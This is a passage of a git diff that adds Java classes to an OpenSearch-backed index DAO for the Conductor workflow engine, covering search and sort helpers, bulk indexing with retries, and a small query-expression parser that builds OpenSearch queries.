final String finalField = field; + final SortOrder finalOrder = order; + requestBuilder.sort(s -> s.field(f -> f.field(finalField).order(finalOrder))); + } + } + + SearchRequest searchRequest = requestBuilder.build(); + SearchResponse response = + openSearchClient.search( + searchRequest, com.fasterxml.jackson.databind.node.ObjectNode.class); + + List result = + response.hits().hits().stream().map(Hit::id).collect(Collectors.toList()); + long count = response.hits().total() != null ? response.hits().total().value() : 0; + return new SearchResult<>(count, result); + } + + private SearchResult searchObjects( + String indexName, + Query query, + int start, + int size, + List sortOptions, + boolean idOnly, + Class clazz) + throws IOException { + + SearchRequest.Builder requestBuilder = + new SearchRequest.Builder().index(indexName).query(query).from(start).size(size); + + if (idOnly) { + requestBuilder.source(s -> s.fetch(false)); + } + + if (sortOptions != null && !sortOptions.isEmpty()) { + for (String sortOption : sortOptions) { + SortOrder order = SortOrder.Asc; + String field = sortOption; + int index = sortOption.indexOf(":"); + if (index > 0) { + field = sortOption.substring(0, index); + String orderStr = sortOption.substring(index + 1); + order = "DESC".equalsIgnoreCase(orderStr) ? SortOrder.Desc : SortOrder.Asc; + } + final String finalField = field; + final SortOrder finalOrder = order; + requestBuilder.sort(s -> s.field(f -> f.field(finalField).order(finalOrder))); + } + } + + SearchRequest searchRequest = requestBuilder.build(); + SearchResponse response = openSearchClient.search(searchRequest, clazz); + return mapSearchResult(response, idOnly, clazz); + } + + private SearchResult mapSearchResult( + SearchResponse response, boolean idOnly, Class clazz) { + HitsMetadata hitsMetadata = response.hits(); + long count = hitsMetadata.total() != null ? hitsMetadata.total().value() : 0; + List result; + if (idOnly) { + result = + hitsMetadata.hits().stream() + .map(hit -> clazz.cast(hit.id())) + .collect(Collectors.toList()); + } else { + result = + hitsMetadata.hits().stream() + .map(Hit::source) + .filter(java.util.Objects::nonNull) + .collect(Collectors.toList()); + } + return new SearchResult<>(count, result); + } + + @Override + public List searchArchivableWorkflows(String indexName, long archiveTtlDays) { + String ltDate = LocalDate.now().minusDays(archiveTtlDays).toString(); + String gteDate = LocalDate.now().minusDays(archiveTtlDays).minusDays(1).toString(); + + Query q = + Query.of( + query -> + query.bool( + b -> + b.must( + m -> + m.range( + r -> + r.field( + "endTime") + .lt( + JsonData + .of( + ltDate)) + .gte( + JsonData + .of( + gteDate)))) + .should( + s -> + s.term( + t -> + t.field( + "status") + .value( + FieldValue + .of( + "COMPLETED")))) + .should( + s -> + s.term( + t -> + t.field( + "status") + .value( + FieldValue + .of( + "FAILED")))) + .should( + s -> + s.term( + t -> + t.field( + "status") + .value( + FieldValue + .of( + "TIMED_OUT")))) + .should( + s -> + s.term( + t -> + t.field( + "status") + .value( + FieldValue + .of( + "TERMINATED")))) + .mustNot( + mn -> + mn.exists( + e -> + e.field( + "archived"))) + .minimumShouldMatch("1"))); + + SearchResult workflowIds; + try { + workflowIds = searchObjectIds(indexName, q, 0, 1000); + } catch (IOException e) { + logger.error("Unable to communicate with ES to find archivable workflows", e); + return Collections.emptyList(); + } + + return workflowIds.getResults(); + } + + @Override + public long getWorkflowCount(String query, String freeText) { + try { + return getObjectCounts(query, freeText, WORKFLOW_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + private long getObjectCounts(String structuredQuery, String freeTextQuery, String docType) + throws ParserException, IOException { + Query query = boolQuery(structuredQuery, freeTextQuery); + + String indexName = getIndexName(docType); + CountRequest countRequest = + new CountRequest.Builder().index(indexName).query(query).build(); + CountResponse countResponse = openSearchClient.count(countRequest); + return countResponse.count(); + } + + public List searchRecentRunningWorkflows( + int lastModifiedHoursAgoFrom, int lastModifiedHoursAgoTo) { + Instant now = Instant.now(); + long fromMillis = now.minusSeconds(lastModifiedHoursAgoFrom * 3600L).toEpochMilli(); + long toMillis = now.minusSeconds(lastModifiedHoursAgoTo * 3600L).toEpochMilli(); + + Query q = + Query.of( + query -> + query.bool( + b -> + b.must( + Query.of( + m -> + m.range( + r -> + r.field( + "updateTime") + .gt( + JsonData + .of( + fromMillis))))) + .must( + Query.of( + m -> + m.range( + r -> + r.field( + "updateTime") + .lt( + JsonData + .of( + toMillis))))) + .must( + Query.of( + m -> + m.term( + t -> + t.field( + "status") + .value( + FieldValue + .of( + "RUNNING"))))))); + + SearchResult workflowIds; + try { + workflowIds = + searchObjectIds( + workflowIndexName, + q, + 0, + 5000, + Collections.singletonList("updateTime:ASC")); + } catch (IOException e) { + logger.error("Unable to communicate with ES to find recent running workflows", e); + return Collections.emptyList(); + } + + return workflowIds.getResults(); + } + + private void indexObject(final String index, final String docType, final Object doc) { + indexObject(index, docType, null, doc); + } + + private void indexObject( + final String index, final String docType, final String docId, final Object doc) { + + BulkOperation operation = + BulkOperation.of( + b -> + b.index( + idx -> { + idx.index(index).document(JsonData.of(doc)); + if (docId != null) { + idx.id(docId); + } + return idx; + })); + + synchronized (this) { + if (bulkRequests.get(docType) == null) { + bulkRequests.put(docType, new BulkRequests(System.currentTimeMillis())); + } + + bulkRequests.get(docType).addOperation(operation); + if (bulkRequests.get(docType).numberOfOperations() >= this.indexBatchSize) { + indexBulkRequest(docType); + } + } + } + + private synchronized void indexBulkRequest(String docType) { + BulkRequests requests = bulkRequests.get(docType); + if (requests != null && requests.numberOfOperations() > 0) { + synchronized (requests.getOperations()) { + indexWithRetry(requests.getOperations(), "Bulk Indexing " + docType, docType); + bulkRequests.put(docType, new BulkRequests(System.currentTimeMillis())); + } + } + } + + /** + * Performs an index operation with a retry. + * + * @param operations The bulk operations to perform. + * @param operationDescription The type of operation that we are performing. + */ + private void indexWithRetry( + final List operations, + final String operationDescription, + String docType) { + try { + long startTime = Instant.now().toEpochMilli(); + BulkRequest bulkRequest = new BulkRequest.Builder().operations(operations).build(); + retryTemplate.execute(context -> openSearchClient.bulk(bulkRequest)); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing object of type: {}", endTime - startTime, docType); + Monitors.recordESIndexTime("index_object", docType, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + Monitors.error(className, "index"); + logger.error( + "Failed to index {} for request type: {}", operationDescription, docType, e); + } + } + + /** + * Flush the buffers if bulk requests have not been indexed for the past {@link + * OpenSearchProperties#getAsyncBufferFlushTimeout()} seconds This is to prevent data loss in + * case the instance is terminated, while the buffer still holds documents to be indexed. + */ + private void flushBulkRequests() { + bulkRequests.entrySet().stream() + .filter( + entry -> + (System.currentTimeMillis() - entry.getValue().getLastFlushTime()) + >= asyncBufferFlushTimeout * 1000L) + .filter(entry -> entry.getValue().numberOfOperations() > 0) + .forEach( + entry -> { + logger.debug( + "Flushing bulk request buffer for type {}, size: {}", + entry.getKey(), + entry.getValue().numberOfOperations()); + indexBulkRequest(entry.getKey()); + }); + } + + private static class BulkRequests { + + private final long lastFlushTime; + private final List operations; + + long getLastFlushTime() { + return lastFlushTime; + } + + List getOperations() { + return operations; + } + + int numberOfOperations() { + return operations.size(); + } + + void addOperation(BulkOperation op) { + operations.add(op); + } + + BulkRequests(long lastFlushTime) { + this.lastFlushTime = lastFlushTime; + this.operations = new ArrayList<>(); + } + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/QueryHelper.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/QueryHelper.java new file mode 100644 index 0000000..47ce983 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/QueryHelper.java @@ -0,0 +1,183 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.index; + +import org.opensearch.client.json.JsonData; +import org.opensearch.client.opensearch._types.FieldValue; +import org.opensearch.client.opensearch._types.query_dsl.BoolQuery; +import org.opensearch.client.opensearch._types.query_dsl.Query; + +/** + * Helper class for building OpenSearch queries using the opensearch-java 3.x client API. + * + *

    This class provides utility methods to construct queries using the new functional builder + * pattern introduced in opensearch-java 3.x, replacing the imperative QueryBuilder API from the + * High-Level REST Client. + */ +public class QueryHelper { + + /** + * Creates a match query for a single field. + * + * @param field The field name to match against + * @param value The value to match + * @return A Query object configured for match query + */ + public static Query matchQuery(String field, String value) { + return Query.of(q -> q.match(m -> m.field(field).query(FieldValue.of(value)))); + } + + /** + * Creates a term query for exact matching. + * + * @param field The field name + * @param value The exact value to match + * @return A Query object configured for term query + */ + public static Query termQuery(String field, String value) { + return Query.of(q -> q.term(t -> t.field(field).value(FieldValue.of(value)))); + } + + /** + * Creates a range query for numeric or date fields. + * + * @param field The field name + * @return A partial RangeQueryBuilder for chaining gte/lte/gt/lt calls + */ + public static RangeQueryBuilder rangeQuery(String field) { + return new RangeQueryBuilder(field); + } + + /** Helper class for building range queries with a fluent API. */ + public static class RangeQueryBuilder { + private final String field; + private JsonData gte; + private JsonData lte; + private JsonData gt; + private JsonData lt; + + private RangeQueryBuilder(String field) { + this.field = field; + } + + public RangeQueryBuilder gte(Object value) { + this.gte = JsonData.of(value); + return this; + } + + public RangeQueryBuilder lte(Object value) { + this.lte = JsonData.of(value); + return this; + } + + public RangeQueryBuilder gt(Object value) { + this.gt = JsonData.of(value); + return this; + } + + public RangeQueryBuilder lt(Object value) { + this.lt = JsonData.of(value); + return this; + } + + public Query build() { + return Query.of( + q -> + q.range( + r -> { + r.field(field); + if (gte != null) r.gte(gte); + if (lte != null) r.lte(lte); + if (gt != null) r.gt(gt); + if (lt != null) r.lt(lt); + return r; + })); + } + } + + /** + * Creates a query string query for full-text search. + * + * @param queryString The query string + * @return A Query object configured for query string search + */ + public static Query queryStringQuery(String queryString) { + return Query.of(q -> q.queryString(qs -> qs.query(queryString))); + } + + /** + * Creates an exists query to check for field presence. + * + * @param field The field name to check existence + * @return A Query object configured for exists query + */ + public static Query existsQuery(String field) { + return Query.of(q -> q.exists(e -> e.field(field))); + } + + /** + * Creates a match-all query. + * + * @return A Query object that matches all documents + */ + public static Query matchAllQuery() { + return Query.of(q -> q.matchAll(m -> m)); + } + + /** Helper class for building boolean queries with must/should/filter/mustNot clauses. */ + public static class BoolQueryBuilder { + private final BoolQuery.Builder builder = new BoolQuery.Builder(); + private int minimumShouldMatch = 0; + + public BoolQueryBuilder must(Query query) { + builder.must(query); + return this; + } + + public BoolQueryBuilder should(Query query) { + builder.should(query); + return this; + } + + public BoolQueryBuilder filter(Query query) { + builder.filter(query); + return this; + } + + public BoolQueryBuilder mustNot(Query query) { + builder.mustNot(query); + return this; + } + + public BoolQueryBuilder minimumShouldMatch(int minimum) { + this.minimumShouldMatch = minimum; + return this; + } + + public Query build() { + if (minimumShouldMatch > 0) { + builder.minimumShouldMatch(String.valueOf(minimumShouldMatch)); + } + return Query.of(q -> q.bool(builder.build())); + } + } + + /** + * Creates a new boolean query builder. + * + * @return A new BoolQueryBuilder for constructing complex boolean queries + */ + public static BoolQueryBuilder boolQuery() { + return new BoolQueryBuilder(); + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/Expression.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/Expression.java new file mode 100644 index 0000000..bae4e06 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/Expression.java @@ -0,0 +1,120 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +import org.conductoross.conductor.os3.dao.query.parser.internal.AbstractNode; +import org.conductoross.conductor.os3.dao.query.parser.internal.BooleanOp; +import org.conductoross.conductor.os3.dao.query.parser.internal.ParserException; +import org.opensearch.client.opensearch._types.query_dsl.Query; + +/** + * @author Viren + */ +public class Expression extends AbstractNode implements FilterProvider { + + private NameValue nameVal; + + private GroupedExpression ge; + + private BooleanOp op; + + private Expression rhs; + + public Expression(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(1); + + if (peeked[0] == '(') { + this.ge = new GroupedExpression(is); + } else { + this.nameVal = new NameValue(is); + } + + peeked = peek(3); + if (isBoolOpr(peeked)) { + // we have an expression next + this.op = new BooleanOp(is); + this.rhs = new Expression(is); + } + } + + public boolean isBinaryExpr() { + return this.op != null; + } + + public BooleanOp getOperator() { + return this.op; + } + + public Expression getRightHandSide() { + return this.rhs; + } + + public boolean isNameValue() { + return this.nameVal != null; + } + + public NameValue getNameValue() { + return this.nameVal; + } + + public GroupedExpression getGroupedExpression() { + return this.ge; + } + + @Override + public Query getFilter() { + Query lhs = null; + if (nameVal != null) { + lhs = nameVal.getFilter(); + } else { + lhs = ge.getFilter(); + } + + if (this.isBinaryExpr()) { + Query rhsFilter = rhs.getFilter(); + if (this.op.isAnd()) { + final Query lhsFinal = lhs; + final Query rhsFinal = rhsFilter; + return Query.of(q -> q.bool(b -> b.must(lhsFinal).must(rhsFinal))); + } else { + final Query lhsFinal = lhs; + final Query rhsFinal = rhsFilter; + return Query.of(q -> q.bool(b -> b.should(lhsFinal).should(rhsFinal))); + } + } else { + return lhs; + } + } + + @Override + public String toString() { + if (isBinaryExpr()) { + return "" + (nameVal == null ? ge : nameVal) + op + rhs; + } else { + return "" + (nameVal == null ? ge : nameVal); + } + } + + public static Expression fromString(String value) throws ParserException { + return new Expression(new BufferedInputStream(new ByteArrayInputStream(value.getBytes()))); + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/FilterProvider.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/FilterProvider.java new file mode 100644 index 0000000..016b143 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/FilterProvider.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser; + +import org.opensearch.client.opensearch._types.query_dsl.Query; + +/** + * @author Viren + */ +public interface FilterProvider { + + /** + * @return Query filter for opensearch + */ + public Query getFilter(); +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/GroupedExpression.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/GroupedExpression.java new file mode 100644 index 0000000..01601f4 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/GroupedExpression.java @@ -0,0 +1,59 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser; + +import java.io.InputStream; + +import org.conductoross.conductor.os3.dao.query.parser.internal.AbstractNode; +import org.conductoross.conductor.os3.dao.query.parser.internal.ParserException; +import org.opensearch.client.opensearch._types.query_dsl.Query; + +/** + * @author Viren + */ +public class GroupedExpression extends AbstractNode implements FilterProvider { + + private Expression expression; + + public GroupedExpression(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = read(1); + assertExpected(peeked, "("); + + this.expression = new Expression(is); + + peeked = read(1); + assertExpected(peeked, ")"); + } + + @Override + public String toString() { + return "(" + expression + ")"; + } + + /** + * @return the expression + */ + public Expression getExpression() { + return expression; + } + + @Override + public Query getFilter() { + return expression.getFilter(); + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/NameValue.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/NameValue.java new file mode 100644 index 0000000..5663434 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/NameValue.java @@ -0,0 +1,211 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser; + +import java.io.InputStream; + +import org.conductoross.conductor.os3.dao.query.parser.internal.*; +import org.conductoross.conductor.os3.dao.query.parser.internal.ComparisonOp.Operators; +import org.opensearch.client.json.JsonData; +import org.opensearch.client.opensearch._types.query_dsl.Query; + +/** + * @author Viren + * 

    + * Represents an expression of the form as below:
+ * key OPR value
+ * OPR is the comparison operator which could be on the following:
+ * 	>, <, = , !=, IN, BETWEEN
+ *
    + */ +public class NameValue extends AbstractNode implements FilterProvider { + + private Name name; + + private ComparisonOp op; + + private ConstValue value; + + private Range range; + + private ListConst valueList; + + public NameValue(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + this.name = new Name(is); + this.op = new ComparisonOp(is); + + if (this.op.getOperator().equals(Operators.BETWEEN.value())) { + this.range = new Range(is); + } + if (this.op.getOperator().equals(Operators.IN.value())) { + this.valueList = new ListConst(is); + } else { + this.value = new ConstValue(is); + } + } + + @Override + public String toString() { + return "" + name + op + value; + } + + /** + * @return the name + */ + public Name getName() { + return name; + } + + /** + * @return the op + */ + public ComparisonOp getOp() { + return op; + } + + /** + * @return the value + */ + public ConstValue getValue() { + return value; + } + + @Override + public Query getFilter() { + if (op.getOperator().equals(Operators.EQUALS.value())) { + String queryStr = name.getName() + ":" + value.getValue().toString(); + return Query.of(q -> q.queryString(qs -> qs.query(queryStr))); + } else if (op.getOperator().equals(Operators.BETWEEN.value())) { + String fieldName = name.getName(); + return Query.of( + q -> + q.range( + r -> + r.field(fieldName) + .from(JsonData.of(range.getLow())) + .to(JsonData.of(range.getHigh())))); + } else if (op.getOperator().equals(Operators.IN.value())) { + String fieldName = name.getName(); + return Query.of( + q -> + q.terms( + t -> + t.field(fieldName) + .terms( + tv -> + tv.value( + valueList + .getList() + .stream() + .map( + v -> + org + .opensearch + .client + .opensearch + ._types + .FieldValue + .of( + v + .toString())) + .collect( + java + .util + .stream + .Collectors + .toList()))))); + } else if (op.getOperator().equals(Operators.NOT_EQUALS.value())) { + String queryStr = "NOT " + name.getName() + ":" + value.getValue().toString(); + return Query.of(q -> q.queryString(qs -> qs.query(queryStr))); + } else if (op.getOperator().equals(Operators.GREATER_THAN.value())) { + String fieldName = name.getName(); + return Query.of( + q -> q.range(r -> r.field(fieldName).gt(JsonData.of(value.getValue())))); + } else if (op.getOperator().equals(Operators.IS.value())) { + if (value.getSysConstant().equals(ConstValue.SystemConsts.NULL)) { + String fieldName = name.getName(); + return Query.of( + q -> + q.bool( + b -> + b.mustNot( + Query.of( + q2 -> + q2.bool( + b2 -> + b2.must( + Query + .of( + q3 -> + q3 + .matchAll( + m -> + m))) + .mustNot( + Query + .of( + q4 -> + q4 + .exists( + e -> + e + .field( + fieldName))))))))); + } else if (value.getSysConstant().equals(ConstValue.SystemConsts.NOT_NULL)) { + String fieldName = name.getName(); + return Query.of( + q -> + q.bool( + b -> + b.mustNot( + Query.of( + q2 -> + q2.bool( + b2 -> + b2.must( + Query + .of( + q3 -> + q3 + .matchAll( + m -> + m))) + .must( + Query + .of( + q4 -> + q4 + .exists( + e -> + e + .field( + fieldName))))))))); + } + } else if (op.getOperator().equals(Operators.LESS_THAN.value())) { + String fieldName = name.getName(); + return Query.of( + q -> q.range(r -> r.field(fieldName).lt(JsonData.of(value.getValue())))); + } else if (op.getOperator().equals(Operators.STARTS_WITH.value())) { + String fieldName = name.getName(); + String prefix = value.getUnquotedValue(); + return Query.of(q -> q.prefix(p -> p.field(fieldName).value(prefix))); + } + + throw new IllegalStateException("Incorrect/unsupported operators"); + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/AbstractNode.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/AbstractNode.java new file mode 100644 index 0000000..feea081 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/AbstractNode.java @@ -0,0 +1,178 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.io.InputStream; +import java.math.BigDecimal; +import java.util.HashSet; +import java.util.Set; +import java.util.regex.Pattern; + +/** + * @author Viren + */ +public abstract class AbstractNode { + + public static final Pattern WHITESPACE = Pattern.compile("\\s"); + + protected static Set comparisonOprs = new HashSet(); + + static { + comparisonOprs.add('>'); + comparisonOprs.add('<'); + comparisonOprs.add('='); + } + + protected InputStream is; + + protected AbstractNode(InputStream is) throws ParserException { + this.is = is; + this.parse(); + } + + protected boolean isNumber(String test) { + try { + // If you can convert to a big decimal value, then it is a number. + new BigDecimal(test); + return true; + + } catch (NumberFormatException e) { + // Ignore + } + return false; + } + + protected boolean isBoolOpr(byte[] buffer) { + if (buffer.length > 1 && buffer[0] == 'O' && buffer[1] == 'R') { + return true; + } else if (buffer.length > 2 && buffer[0] == 'A' && buffer[1] == 'N' && buffer[2] == 'D') { + return true; + } + return false; + } + + protected boolean isComparisonOpr(byte[] buffer) { + if (buffer[0] == 'I' && buffer[1] == 'N') { + return true; + } else if (buffer[0] == '!' && buffer[1] == '=') { + return true; + } else { + return comparisonOprs.contains((char) buffer[0]); + } + } + + protected byte[] peek(int length) throws Exception { + return read(length, true); + } + + protected byte[] read(int length) throws Exception { + return read(length, false); + } + + protected String readToken() throws Exception { + skipWhitespace(); + StringBuilder sb = new StringBuilder(); + while (is.available() > 0) { + char c = (char) peek(1)[0]; + if (c == ' ' || c == '\t' || c == '\n' || c == '\r') { + is.skip(1); + break; + } else if (c == '=' || c == '>' || c == '<' || c == '!') { + // do not skip + break; + } + sb.append(c); + is.skip(1); + } + return sb.toString().trim(); + } + + protected boolean isNumeric(char c) { + if (c == '-' || c == 'e' || (c >= '0' && c <= '9') || c == '.') { + return true; + } + return false; + } + + protected void assertExpected(byte[] found, String expected) throws ParserException { + assertExpected(new String(found), expected); + } + + protected void assertExpected(String found, String expected) throws ParserException { + if (!found.equals(expected)) { + throw new ParserException("Expected " + expected + ", found " + found); + } + } + + protected void assertExpected(char found, char expected) throws ParserException { + if (found != expected) { + throw new ParserException("Expected " + expected + ", found " + found); + } + } + + protected static void efor(int length, FunctionThrowingException consumer) + throws Exception { + for (int i = 0; i < length; i++) { + consumer.accept(i); + } + } + + protected abstract void _parse() throws Exception; + + // Public stuff here + private void parse() throws ParserException { + // skip white spaces + skipWhitespace(); + try { + _parse(); + } catch (Exception e) { + System.out.println("\t" + this.getClass().getSimpleName() + "->" + this.toString()); + if (!(e instanceof ParserException)) { + throw new ParserException("Error parsing", e); + } else { + throw (ParserException) e; + } + } + skipWhitespace(); + } + + // Private methods + + private byte[] read(int length, boolean peekOnly) throws Exception { + byte[] buf = new byte[length]; + if (peekOnly) { + is.mark(length); + } + efor(length, (Integer c) -> buf[c] = (byte) is.read()); + if (peekOnly) { + is.reset(); + } + return buf; + } + + protected void skipWhitespace() throws ParserException { + try { + while (is.available() > 0) { + byte c = peek(1)[0]; + if (c == ' ' || c == '\t' || c == '\n' || c == '\r') { + // skip + read(1); + } else { + break; + } + } + } catch (Exception e) { + throw new ParserException(e.getMessage(), e); + } + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/BooleanOp.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/BooleanOp.java new file mode 100644 index 0000000..0832ec4 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/BooleanOp.java @@ -0,0 +1,57 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class BooleanOp extends AbstractNode { + + private String value; + + public BooleanOp(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] buffer = peek(3); + if (buffer.length > 1 && buffer[0] == 'O' && buffer[1] == 'R') { + this.value = "OR"; + } else if (buffer.length > 2 && buffer[0] == 'A' && buffer[1] == 'N' && buffer[2] == 'D') { + this.value = "AND"; + } else { + throw new ParserException("No valid boolean operator found..."); + } + read(this.value.length()); + } + + @Override + public String toString() { + return " " + value + " "; + } + + public String getOperator() { + return value; + } + + public boolean isAnd() { + return "AND".equals(value); + } + + public boolean isOr() { + return "OR".equals(value); + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ComparisonOp.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ComparisonOp.java new file mode 100644 index 0000000..72c8cbc --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ComparisonOp.java @@ -0,0 +1,102 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.query.parser.internal; + +import java.io.InputStream; + +/** + * @author Viren + */ +public class ComparisonOp extends AbstractNode { + + public enum Operators { + BETWEEN("BETWEEN"), + EQUALS("="), + LESS_THAN("<"), + GREATER_THAN(">"), + IN("IN"), + NOT_EQUALS("!="), + IS("IS"), + STARTS_WITH("STARTS_WITH"); + + private final String value; + + Operators(String value) { + this.value = value; + } + + public String value() { + return value; + } + } + + static { + int max = 0; + for (Operators op : Operators.values()) { + max = Math.max(max, op.value().length()); + } + maxOperatorLength = max; + } + + private static final int maxOperatorLength; + + private static final int betweenLen = Operators.BETWEEN.value().length(); + private static final int startsWithLen = Operators.STARTS_WITH.value().length(); + + private String value; + + public ComparisonOp(InputStream is) throws ParserException { + super(is); + } + + @Override + protected void _parse() throws Exception { + byte[] peeked = peek(maxOperatorLength); + if (peeked[0] == '=' || peeked[0] == '>' || peeked[0] == '<') { + this.value = new String(peeked, 0, 1); + } else if (peeked[0] == 'I' && peeked[1] == 'N') { + this.value = "IN"; + } else if (peeked[0] == 'I' && peeked[1] == 'S') { + this.value = "IS"; + } else if (peeked[0] == '!' && peeked[1] == '=') { + this.value = "!="; + } else if (peeked.length >= betweenLen + && peeked[0] == 'B' + && peeked[1] == 'E' + && peeked[2] == 'T' + && peeked[3] == 'W' + && peeked[4] == 'E' + && peeked[5] == 'E' + && peeked[6] == 'N') { + this.value = Operators.BETWEEN.value(); + } else if (peeked.length == startsWithLen + && new String(peeked).equals(Operators.STARTS_WITH.value())) { + this.value = Operators.STARTS_WITH.value(); + } else { + throw new ParserException( + "Expecting an operator (=, >, <, !=, BETWEEN, IN, STARTS_WITH), but found none. Peeked=>" + + new String(peeked)); + } + + read(this.value.length()); + } + + @Override + public String toString() { + return " " + value + " "; + } + + public String getOperator() { + return value; + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ConstValue.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/query/parser/internal/ConstValue.java new file mode 